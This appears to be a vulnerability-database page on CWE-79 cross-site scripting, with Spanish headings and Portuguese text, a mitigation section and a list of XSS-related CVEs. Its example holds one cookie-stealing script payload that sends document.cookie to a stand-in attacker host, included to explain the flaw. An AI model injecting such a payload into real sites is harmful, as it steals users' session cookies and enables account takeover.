Fallos del tipo CWE-79

28.610 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-1347CRITICALStored XSS in the "Username" & "Email" input fields leads to account takeover of Admin & Co-admin users in causefx/organizrEPSS 1.2%CVE-2020-15178HIGHPotential XSS in PrestaShop contactformEPSS 1.2%CVE-2021-27659MEDIUMexacqVision Web Service CSSEPSS 1.2%CVE-2022-24919LOWReflected XSS in graph configuration window of Zabbix FrontendEPSS 1.2%CVE-2022-24349MEDIUMReflected XSS in action configuration window of Zabbix FrontendEPSS 1.2%CVE-2022-24917LOWReflected XSS in service configuration window of Zabbix FrontendEPSS 1.2%CVE-2019-1870MEDIUMCisco Enterprise Chat and Email Cross-Site Scripting VulnerabilityEPSS 1.2%CVE-2023-5556MEDIUMCross-site Scripting (XSS) - Reflected in structurizr/onpremisesEPSS 1.2%CVE-2021-41249HIGHXSS vulnerability in GraphQL PlaygroundEPSS 1.2%CVE-2024-0509MEDIUMWP 404 Auto Redirect to Similar Post <= 1.0.3 - Reflected Cross-Site Scripting via requestEPSS 1.2%CVE-2021-21332MEDIUMCross-site scripting (XSS) vulnerability in the password reset endpointEPSS 1.2%CVE-2017-12366—A vulnerability in Cisco WebEx Meeting Center could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attackEPSS 1.2%CVE-2017-12265—A vulnerability in the web-based management interface of Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated, reEPSS 1.2%CVE-2020-15179HIGHHTML Injection in ScratchSigEPSS 1.2%CVE-2018-0091—A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attackeEPSS 1.2%CVE-2017-12296—A vulnerability in Cisco WebEx Meetings Server could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attacEPSS 1.2%CVE-2017-12298—A vulnerability in Cisco WebEx Meeting Center could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attackEPSS 1.2%CVE-2017-12304—A vulnerability in the IOS daemon (IOSd) web-based management interface of Cisco IOS and IOS XE Software could allow an unauthenticated, remEPSS 1.2%CVE-2017-12356—A vulnerability in the web-based management interface of Cisco Jabber for Windows, Mac, Android, and iOS could allow an unauthenticated, remEPSS 1.2%CVE-2018-0206—A vulnerability in the web-based management interface of Cisco Unified Communications Manager could allow an unauthenticated, remote attackeEPSS 1.2%